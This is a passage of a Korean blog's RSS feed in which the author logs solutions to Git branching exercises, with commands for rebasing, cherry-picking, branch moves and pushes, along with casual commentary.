&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;692&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buIDy4/dJMcaadCjeS/k9r7aK696Ek7dPDUzKNw8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buIDy4/dJMcaadCjeS/k9r7aK696Ek7dPDUzKNw8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buIDy4/dJMcaadCjeS/k9r7aK696Ek7dPDUzKNw8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuIDy4%2FdJMcaadCjeS%2Fk9r7aK696Ek7dPDUzKNw8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;692&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;692&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774356434745&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git branch -f main o/main;
git checkout -b feature C2;
git push origin feature;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제 코드는 네줄인데 베스트 코드는 세줄이래서 봤더니 ㅉ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안 가르쳐준 옵션 사용하기 있니?&lt;br /&gt;야박한놈들&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;명령어의 의미&lt;br /&gt;&lt;br /&gt;1. git branch -f main o/main&lt;br /&gt;직역: main 브랜치를 강제로(-f) 원격 저장소의 main(o/main) 위치로 옮겨라!&lt;br /&gt;의미: &quot;야, 내 로컬 main아! 너 아까 실수로 C2까지 앞서 나갔지? 정신 차리고 &lt;b&gt;서버에 있는 깨끗한 상태(o/main)&lt;/b&gt;로 다시 기어 들어가!&lt;br /&gt;2. git checkout -b feature C2&lt;br /&gt;직역: C2 커밋 위치에서 feature라는 새 브랜치를 만들고(-b), 거기로 바로 이동해라!&lt;br /&gt;의미: &quot;나 이제 진짜 작업 시작할 거야. C2라는 내 소중한 작업물 위에 feature라는 이름표 딱 붙이고, 내 몸(포인터)도 그리로 옮길게!&quot;&lt;br /&gt;3. git push origin feature&lt;br /&gt;직역: 내 로컬의 feature 브랜치 내용을 원격 저장소(origin)의 feature로 쏴라!&lt;br /&gt;의미: &quot;자, 이제 내가 feature 브랜치에서 정성껏 만든 C2 결과물을 인터넷 저장소(GitHub 등)에 냅다 집어 던질게! 받아라!&quot;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boY4Qx/dJMcacP5RVD/fQzmay9jC6QmoUyXjeeAV1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boY4Qx/dJMcacP5RVD/fQzmay9jC6QmoUyXjeeAV1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boY4Qx/dJMcacP5RVD/fQzmay9jC6QmoUyXjeeAV1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboY4Qx%2FdJMcacP5RVD%2FfQzmay9jC6QmoUyXjeeAV1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;644&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흠 일단 이렇게 또&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 단계가 끝났고....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지 한 단계만 하면 이 커리큘럼도 끝이 나는군요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅎㅇㅌ&lt;/p&gt;</description>
      <category> &amp;zwj; 양송이 Git 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/15</guid>
      <comments>https://gummybearsong.tistory.com/15#entry15comment</comments>
      <pubDate>Mon, 30 Mar 2026 09:34:13 +0900</pubDate>
    </item>
    <item>
      <title>고급 문제</title>
      <link>https://gummybearsong.tistory.com/14</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;여러 브랜치를 리베이스 하기&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;여러 브랜치의 작업 내역을 main 브랜치에 리베이스 하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순서에 맞게 커밋 정렬하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ejLPBk/dJMcadafT0a/12osgsENSvrERRln1ralSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ejLPBk/dJMcadafT0a/12osgsENSvrERRln1ralSk/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;453&quot; data-origin-height=&quot;535&quot; data-filename=&quot;스크린샷 2026-03-24 130958.png&quot; style=&quot;width: 45.438%; margin-right: 10px;&quot; data-widthpercent=&quot;45.97&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ejLPBk/dJMcadafT0a/12osgsENSvrERRln1ralSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FejLPBk%2FdJMcadafT0a%2F12osgsENSvrERRln1ralSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;453&quot; height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/onrqy/dJMcadBi8SK/OYiDqUlMuA6eUx9dGrK2AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/onrqy/dJMcadBi8SK/OYiDqUlMuA6eUx9dGrK2AK/img.png&quot; data-origin-width=&quot;405&quot; data-origin-height=&quot;407&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.3992%;&quot; data-widthpercent=&quot;54.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/onrqy/dJMcadBi8SK/OYiDqUlMuA6eUx9dGrK2AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fonrqy%2FdJMcadBi8SK%2FOYiDqUlMuA6eUx9dGrK2AK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;405&quot; height=&quot;407&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774326677566&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git rebase main bugFix
git rebase bugFix side
git rebase side another
git rebase another main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;부모를 선택하기&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMtVy4/dJMcaaYW4pE/kIKD2k1DrW3vIOEz1Kbgnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMtVy4/dJMcaaYW4pE/kIKD2k1DrW3vIOEz1Kbgnk/img.png&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;638&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.57%; margin-right: 10px;&quot; data-widthpercent=&quot;53.19&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMtVy4/dJMcaaYW4pE/kIKD2k1DrW3vIOEz1Kbgnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMtVy4%2FdJMcaaYW4pE%2FkIKD2k1DrW3vIOEz1Kbgnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;638&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nPlYY/dJMcabXSmwX/kL2kYW6k7gDM4aCiuAAK00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nPlYY/dJMcabXSmwX/kL2kYW6k7gDM4aCiuAAK00/img.png&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;657&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.2672%;&quot; data-widthpercent=&quot;46.81&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nPlYY/dJMcabXSmwX/kL2kYW6k7gDM4aCiuAAK00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnPlYY%2FdJMcabXSmwX%2FkL2kYW6k7gDM4aCiuAAK00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;657&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774327724187&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git branch bugWork
git branch -f bugWork main~^2^&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;브랜치 스파게티&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;main 브랜치 이전 커밋 one, two, three 총 3개의 브랜치가 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main의 최근 커밋 몇 개를 나머지 세 개의 브랜치에 반영하려고 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;one 브랜치는 순서 바꿀 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C5 커밋 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;two 브랜치 순서 바꿀 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;three 브랜치 하나의 커밋 가져오기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;show solution 명령어로 모법 답안 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N4n1d/dJMcafMLNEr/D0Q8Wh3tkanPDk3hFGlulK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N4n1d/dJMcafMLNEr/D0Q8Wh3tkanPDk3hFGlulK/img.png&quot; data-origin-width=&quot;462&quot; data-origin-height=&quot;627&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.9917%; margin-right: 10px;&quot; data-widthpercent=&quot;51.59&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N4n1d/dJMcafMLNEr/D0Q8Wh3tkanPDk3hFGlulK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN4n1d%2FdJMcafMLNEr%2FD0Q8Wh3tkanPDk3hFGlulK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;462&quot; height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vUZlP/dJMcaa5JRAB/C56QEJxBMvUSLpi5mMExFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vUZlP/dJMcaa5JRAB/C56QEJxBMvUSLpi5mMExFk/img.png&quot; data-origin-width=&quot;401&quot; data-origin-height=&quot;580&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.8455%;&quot; data-widthpercent=&quot;48.41&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vUZlP/dJMcaa5JRAB/C56QEJxBMvUSLpi5mMExFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvUZlP%2FdJMcaa5JRAB%2FC56QEJxBMvUSLpi5mMExFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;401&quot; height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;494&quot; data-origin-height=&quot;833&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PavYq/dJMcacvJN2Q/OCo8plRvj64GAfG6hpEWEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PavYq/dJMcacvJN2Q/OCo8plRvj64GAfG6hpEWEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PavYq/dJMcacvJN2Q/OCo8plRvj64GAfG6hpEWEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPavYq%2FdJMcacvJN2Q%2FOCo8plRvj64GAfG6hpEWEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;494&quot; height=&quot;833&quot; data-origin-width=&quot;494&quot; data-origin-height=&quot;833&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 제가 처음 작성했던 ... 코드인데 일일히 뭔가 바쁜것 같죠&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMZjMQ/dJMcafTv3B2/GlUuPcpkgkc6B93BUfLqZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMZjMQ/dJMcafTv3B2/GlUuPcpkgkc6B93BUfLqZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMZjMQ/dJMcafTv3B2/GlUuPcpkgkc6B93BUfLqZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMZjMQ%2FdJMcafTv3B2%2FGlUuPcpkgkc6B93BUfLqZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;202&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이렇게 바꿨습니다 하하하 !!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오 예시답안과 맞춰보니 일치하네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 사실 rebase -i 가 좀 어렵게 느껴지지만&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 조금씩 감을 잡아가는 듯 합니다 ....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅜㅜ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 담에 또 만나요&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rz1mI/dJMcacCBz9c/MkG3b4ZgXneMvB2IdcS6hK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rz1mI/dJMcacCBz9c/MkG3b4ZgXneMvB2IdcS6hK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rz1mI/dJMcacCBz9c/MkG3b4ZgXneMvB2IdcS6hK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRz1mI%2FdJMcacCBz9c%2FMkG3b4ZgXneMvB2IdcS6hK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;488&quot; height=&quot;484&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category> &amp;zwj; 양송이 Git 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/14</guid>
      <comments>https://gummybearsong.tistory.com/14#entry14comment</comments>
      <pubDate>Tue, 24 Mar 2026 14:50:14 +0900</pubDate>
    </item>
    <item>
      <title>종합선물세트</title>
      <link>https://gummybearsong.tistory.com/13</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 시간엔 git을 다루는 다양한 팁과 테크닉을 배워 볼 것이랍니다?&lt;br /&gt;&lt;s&gt;얼른 공부하고 케이온 보러가야하는데&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 이제부터 시작할게요 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;로컬에 쌓인 커밋들&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;눈에 잘 띄지 않는 버그를 찾아 해결하려고, 어떤 부분의 문제인지를 찾기 위해 디버그용 코드와 화면에 정보르르 프린트하는 코드를 몇 줄 넣음&lt;/li&gt;
&lt;li&gt;디버깅용 코드나 프린트 명령은 그 브랜치에 들어있음&lt;/li&gt;
&lt;li&gt;버그 찾아서 고치고, 원래 작업하던 브랜치에 합치면 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUwRm3/dJMcacbo7Od/q7101tLekkGzGSb4ak9gQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUwRm3/dJMcacbo7Od/q7101tLekkGzGSb4ak9gQk/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;220&quot; data-origin-height=&quot;516&quot; data-filename=&quot;스크린샷 2026-03-24 113245.png&quot; style=&quot;width: 33.2765%; margin-right: 10px;&quot; data-widthpercent=&quot;33.67&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUwRm3/dJMcacbo7Od/q7101tLekkGzGSb4ak9gQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUwRm3%2FdJMcacbo7Od%2Fq7101tLekkGzGSb4ak9gQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;220&quot; height=&quot;516&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JadiC/dJMcadg43fz/cJRpchP9ikWSWhiISSUYr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JadiC/dJMcadg43fz/cJRpchP9ikWSWhiISSUYr1/img.png&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;500&quot; data-is-animation=&quot;false&quot; style=&quot;width: 65.5607%;&quot; data-widthpercent=&quot;66.33&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JadiC/dJMcadg43fz/cJRpchP9ikWSWhiISSUYr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJadiC%2FdJMcadg43fz%2FcJRpchP9ikWSWhiISSUYr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;420&quot; height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774319801781&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git cherry-pick C4&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;커밋들 갖고 놀기 #1&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;newImage와 caption 브랜치에 각각의 변경내역이 있고 서로 약간의 관련이 있어서,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소에 차례로 쌓여있는 상황&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;디자인 쪽에서 우리의 작업이력(history)에서는 이미 한참 전의 커밋 내용에 있는&amp;nbsp;&lt;/span&gt;newImage&lt;span style=&quot;text-align: start;&quot;&gt;의 크기를 살짝 바꿔 달라는 요청이 들어오게된다면?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/67Ei4/dJMcahDLeHl/YR4D8ko69OFxI4NwmqxfpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/67Ei4/dJMcahDLeHl/YR4D8ko69OFxI4NwmqxfpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/67Ei4/dJMcahDLeHl/YR4D8ko69OFxI4NwmqxfpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F67Ei4%2FdJMcahDLeHl%2FYR4D8ko69OFxI4NwmqxfpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;913&quot; height=&quot;487&quot; 